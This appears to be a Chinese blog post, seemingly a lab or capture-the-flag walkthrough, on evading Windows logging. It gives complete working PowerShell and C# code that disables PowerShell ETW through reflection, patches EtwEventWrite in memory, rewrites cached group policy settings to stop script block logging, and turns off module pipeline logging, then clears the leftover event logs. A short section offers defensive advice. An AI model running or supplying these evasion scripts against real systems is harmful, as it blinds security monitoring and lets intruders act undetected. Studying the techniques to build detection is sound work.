绕过技术-日志和监控绕过

前置基础

虽然很容易想到直接删除日志来规避日志记录,但一般现代环境中日志会启用日志转发,将日志转发到其他设备进行保护,就算是在转发前将日志删除了,也不能规避被发现,首先没有日志就很可疑,然后篡改/删除日志也有对应的日志记录:

事件 ID 目的
1102 Windows 安全审计日志被清除时的日志
104 日志文件被清除时的日志
1100 当 Windows 事件日志服务被关闭时记录日志

虽然也有办法绕过但对日志的处理带来的风险很高。

跟踪机制

ETW 被分为三个独立组件,协同工作以管理和关联数据:

组件 功能
提供者 构建和配置会话,是决定数据如何以及在哪里流动的应用程序。
控制器 用于生成事件,告诉提供程序如何操作,然后从其指定的源收集日志。应用程序等
消费者 解释事件,选择会话并从该会话或多个会话中解析事件。事件管理器。

ETW内部的数据流/会话流:

image-20250517134409365

绕过-禁用日志记录

powershell反射

原理:在PowerShell中,攻击者可通过反射(Reflection)技术修改.NET程序集内部字段,从而禁用ETW(Event Tracing for Windows)的事件日志记录,达到规避检测的目的。

反射(Reflection):.NET特性,允许在运行时动态访问、修改程序集的元数据( .NET 程序集中,存储着描述其包含内容的信息),包括私有字段。攻击者利用此特性篡改程序行为。

PowerShell 反射可以分为四个步骤:

  1. 获取 PSEtwLogProvider 的 .NET 程序集。
  2. etwProvider 字段存储为空值。
  3. m_enabled 字段设置为先前存储的值。

PSEtwLogProvider:PowerShell的.NET程序集,负责将日志事件发送到ETW。其内部字段(如etwProviderm_enabled)控制日志功能是否启用。

详细步骤

1. 获取PSEtwLogProvider类型

$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
  • [Ref].Assembly:获取当前PowerShell会话的反射程序集。
  • GetType:定位PSEtwLogProvider类型,该类型包含ETW日志功能的关键字段。

2. 提取etwProvider字段并置空

$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
  • GetField('etwProvider', 'NonPublic,Static'):获取etwProvider字段(非公开、静态)。
  • GetValue($null):因字段是静态的,需传递$null作为实例参数,获取其当前值(此处为ETW提供程序实例)。

3. 禁用ETW日志记录

[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider, 0)
  • GetField('m_enabled', 'NonPublic,Instance'):获取EventProvider类的m_enabled字段(非公开、实例级别)。
  • SetValue($etwProvider, 0):将m_enabled设为0,禁用ETW日志功能。

[!IMPORTANT]

Tips:

  • 此powershell脚本本身会触发日志,生成7个事件,但执行后,不会再生成事件。
  • 仅在当前会话生效,重启PowerShell需重新执行;可能被高级监控手段(如内核ETW、AMSI)捕获反射行为。
  • 禁用ETW后,安全工具无法通过事件ID 4104监控PowerShell恶意活动(如混淆脚本、远程下载)。

对跟踪函数进行内存补丁

由于每个新进程启动时,ETW都会通过CLR(公共语言运行时)加载到内存中,用户态代码通过当前进程直接发送ETW事件,那么就可以通过修改内存中函数的机器指令(opcode),改变其行为(比如使其提前结束)。这里是禁用EtwEventWrite的日志记录功能。

修补原理

ETW(事件跟踪)是由函数 EtwEventWrite 写入的。为了识别“修补点”或返回点,可以查看该函数的反汇编代码,找到一个会返回函数或停止函数执行的指令码,比如ret指令,将本来在函数结束时才有的ret改到函数开始,那么函数一开始就结束,不再执行原本的函数体。

从下面的汇编代码中可以确定 ret 14h 会结束函数并返回到前一个应用程序:

779f2459 33cc		       xor	ecx, esp
779f245b e8501a0100	   call	ntdll!_security_check_cookie
779f2460 8be5		       mov	esp, ebp
779f2462 5d		         pop	ebp
779f2463 c21400		     ret	14h 

ret指令的作用:从栈顶弹出返回地址,并跳转到该地址继续执行。

ETW 补丁可以分解为五个步骤:

  1. 获取 ETwEventWrite 的句柄
  2. 修改函数的内存权限
  3. 将操作码字节写入内存
  4. 重置函数的内存权限(可选)
  5. 清除指令缓存(可选)

攻击步骤

1. 获取EtwEventWrite函数句柄

var ntdll = Win32.LoadLibrary("ntdll.dll");            // 加载ntdll.dll
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite"); // 获取函数地址
  • LoadLibrary:加载动态链接库到进程内存。
  • GetProcAddress:获取导出函数的地址。

2. 修改内存权限

uint oldProtect;
Win32.VirtualProtect(
    etwFunction,             // 目标地址
    (UIntPtr)patch.Length,   // 修改区域大小
    0x40,                    // 新权限:PAGE_EXECUTE_READWRITE(可执行、读、写)
    out oldProtect           // 保存原始权限
);
  • VirtualProtect:Windows API,用于更改内存区域的保护属性。0x40表示允许读写和执行。

3. 写入补丁指令

byte[] patch = { 0xc2, 0x14, 0x00 };   // ret 14h的操作码
Marshal.Copy(
    patch,     // 源数据(补丁字节)
    0,         // 源数据起始索引
    etwFunction, // 目标地址
    patch.Length // 复制字节数
);
  • Marshal.Copy:将字节数组复制到非托管内存,覆盖原函数指令。

4. 恢复内存权限(可选)

Win32.VirtualProtect(
    etwFunction, 
    (UIntPtr)4, 
    oldProtect, 
    out uint oldOldProtect
);
  • 将内存权限还原为原始值,避免引起异常检测。

5. 刷新指令缓存(可选)

Win32.FlushInstructionCache(
    etwFunction, // 目标地址
    IntPtr.Zero  // 缓存范围(此处为全部)
);
  • FlushInstructionCache:确保CPU执行更新后的指令,而非缓存中的旧指令。

观察结果

在将操作码写入内存后,可以再次查看反汇编的函数来观察函数:

779f23c0 c21400		    ret	14h
779f23c3 00ec		      add	ah, ch
779f23c5 83e4f8		    and	esp, 0FFFFFFF8h
779f23c8 81ece0000000	sub	esp, 0E0h

可以看到原本在函数结束时的ret指令被移动到开头了,那么这个函数一开始就会被结束,失去原本的功能,达到绕过的目的。

[!IMPORTANT]

Tips:在不同的环境中,它可能不是最佳方法,因为它可能会限制您希望保留的完整性日志。

组策略接管

组策略机制

ETW默认不会开启所有日志记录,但可以修改其父策略的 组策略对象 (Group Policy Object,GPO) 设置来启用,通过修改 GPO 策略可启用 ETW 的详细日志功能,增强对 PowerShell 活动的监控。

PS:GPO(组策略对象)指Windows 域环境中用于集中管理计算机和用户配置的策略工具。

PowerShell 日志类型

ETW 针对 PowerShell 提供两种关键日志提供程序,需通过 GPO 启用:

1. 脚本块日志记录(Script Block Logging)
  • 作用:记录 PowerShell 会话中所有脚本块的执行内容。
  • 事件 ID:
    • 4103:记录命令调用(Command Invocation)。
    • 4104:记录脚本块执行(Script Block Execution),对攻击者威胁最大。
  • 示例日志(4104):
    事件 ID: 4104
    来源: Microsoft-Windows-PowerShell
    类别: 执行远程命令
    日志: Microsoft-Windows-PowerShell/Operational
    消息: 创建脚本块文本(第 1 段,共 1 段):
          Write-Host PowerShellV5ScriptBlockLogging
    脚本块 ID: 6d90e0bb-e381-4834-8fe2-5e076ad267b3
    路径: 
    
    • 风险:未混淆的恶意脚本(如 Write-Host)会直接暴露在日志中。
2. 模块日志记录(Module Logging)
  • 作用:记录 PowerShell 模块的详细活动,包括命令参数和上下文信息。
  • 事件 ID:4103(与脚本块日志共用 ID,但内容更详细)。
  • 示例日志(4103):
    事件 ID: 4103
    来源: Microsoft-Windows-PowerShell
    类别: 执行管道
    日志: Microsoft-Windows-PowerShell/Operational
    消息: 命令调用(Write-Host): "Write-Host"
          参数绑定(Write-Host): 名称="Object"; 值="TestPowerShellV5"
    上下文:
          严重性 = 信息
          主机名 = ConsoleHost
          用户 = DOMAIN\\username
          Shell ID = Microsoft.PowerShell
    
    • 特点:日志极详细(如记录参数值 TestPowerShellV5),但可能因数据量过大被忽视或禁用。

日志启用方式

通过组策略(GPO)启用:Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell

需手动配置以下策略:

  • 启用脚本块日志(EnableScriptBlockLogging)
  • 启用脚本调用日志(EnableScriptBlockInvocationLogging)

攻击技术:反射篡改组策略缓存

核心原理:PowerShell 运行时将 GPO 设置缓存在内存的 cachedGroupPolicySettings 字典中(位于 System.Management.Automation.Utils 类)。由于程序集与用户共享安全上下文,攻击者可通过 反射(Reflection) 修改此缓存,动态禁用日志记录。

组策略接管可以分为三个步骤:

  1. 从工具缓存中获取组策略设置。
  2. 修改通用提供程序为 0
  3. 修改调用或模块定义。

攻击流程

(1)获取组策略缓存字典

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
  • NonPublicStatic:访问私有静态字段,绕过常规权限限制。

(2)禁用脚本块日志(4104 事件)

# 利用 GPO 变量将任何事件提供程序设置修改为 0,EnableScriptBlockLogging 将控制 4104 事件,限制脚本执行的可见性。
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0

(3)禁用模块调用日志(4103 事件)

# 重复第二步操作,EnableScriptBlockInvocationLogging 将控制 4103 事件,限制 cmdlet 和管道执行的可见性
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
完整示例代码
#gpo-bypass.ps1

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static');
  If ($GroupPolicyField) {
      $GroupPolicyCache = $GroupPolicyField.GetValue($null);
      If ($GroupPolicyCache['ScriptBlockLogging']) {
          $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
          $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;
      }
      $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new();
      $val.Add('EnableScriptBlockLogging', 0);
      $val.Add('EnableScriptBlockInvocationLogging', 0);
      $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val
  };
攻击效果验证
  • 执行前:
    Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
    # 输出:3(执行 whoami 后生成 3 条日志)
    
  • 执行攻击脚本后:
    .\Disable-PSLogging.ps1
    whoami
    Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
    # 输出:3(无新增日志)
    

技术特点

  • 内存级修改:仅影响当前 PowerShell 会话,重启后恢复原始设置。
  • 无持久化:不修改注册表或磁盘文件,隐蔽性高。
  • 依赖反射:利用 .NET 反射机制绕过权限检查。

技术对比与防御建议

  1. 与 ETW 内存补丁法的对比

    技术 ETW 内存补丁 组策略缓存篡改
    作用范围 全局禁用 ETW 日志 仅禁用 PowerShell 特定日志
    隐蔽性 高风险(可能影响系统功能) 低风险(针对性修改)
    持久性 需进程重启后重新应用 仅当前会话有效
    检测难度 易被内存扫描工具发现 难(依赖行为分析)
  2. 防御建议

    • 强制启用 GPO 日志策略:
      Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" -Name "EnableScriptBlockLogging" -Value 1 -Force
      
    • 监控反射操作:
      • 使用 AMSI(反恶意软件扫描接口) 检测异常 PowerShell 脚本。
      • 部署 Sysmon 记录敏感进程行为(如访问 System.Management.Automation.Utils)。
    • 日志完整性保护:
      • 将日志实时传输至只读的 SIEM(如 Splunk),防止本地篡改。
    • 限制 PowerShell 权限:
      • 启用 约束语言模式(Constrained Language Mode)。
      $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
      

总结

  • 攻击本质:通过反射篡改内存中的组策略缓存,动态禁用 PowerShell 日志功能。
  • 优势:无需修改持久化配置,隐蔽性强。
  • 防御核心:结合策略加固、行为监控与日志保护,阻断反射滥用。
  • 关键命令检测:监控对 cachedGroupPolicySettings 字段的反射访问行为。

日志管道滥用

在 PowerShell 中,每个模块或插件都有一个设置,任何人都可以用来修改其日志记录功能,当LogPipelineExecutionDetails 属性值为 true 时,Windows PowerShell 会将 cmdlet 和函数执行事件写入会话的 Windows PowerShell 日志,但这个可以更改为 false 以禁止日志记录。

日志管道技术可以分为四个步骤:

  1. 获取目标模块。
  2. 将模块执行详细信息设置为 $false
  3. 获取模块插件。
  4. 将插件执行细节设置为 $false
$module = Get-Module Microsoft.PowerShell.Utility # 获取目标模块
$module.LogPipelineExecutionDetails = $false # 将模块执行详细信息设置为 false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # 获取目标PowerShell管理单元
$snap.LogPipelineExecutionDetails = $false # 将 PowerShell 管理单元执行详细信息设置为 false

Tips:此脚本块可以附加到任何 PowerShell 脚本中,或在会话中运行以禁用当前导入模块的模块日志记录。

实操案例

日志监控绕过

使用powershell反射绕过+日志管道滥用的方法绕过日志监控:

cd .\Desktop\
# powershell反射绕过
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
# 管道滥用
$module = Get-Module Microsoft.PowerShell.Utility
$module.LogPipelineExecutionDetails = $false
$snap = Get-PSSnapin Microsoft.PowerShell.Core
$snap.LogPipelineExecutionDetails = $false

脚本执行日志清理

通过筛选,清理脚本执行后产生的4103和4104日志,位于 Application and Service Logs/Microsoft/Windows/Powershell/Operational

image-20250517171944333

至此,在成功绕过了日志的监管

获取flag

执行目标程序,获取flag:

image-20250517172043898

posted @ 2025-12-04 16:25  shinianyunyan  阅读(3)  评论(0)    收藏  举报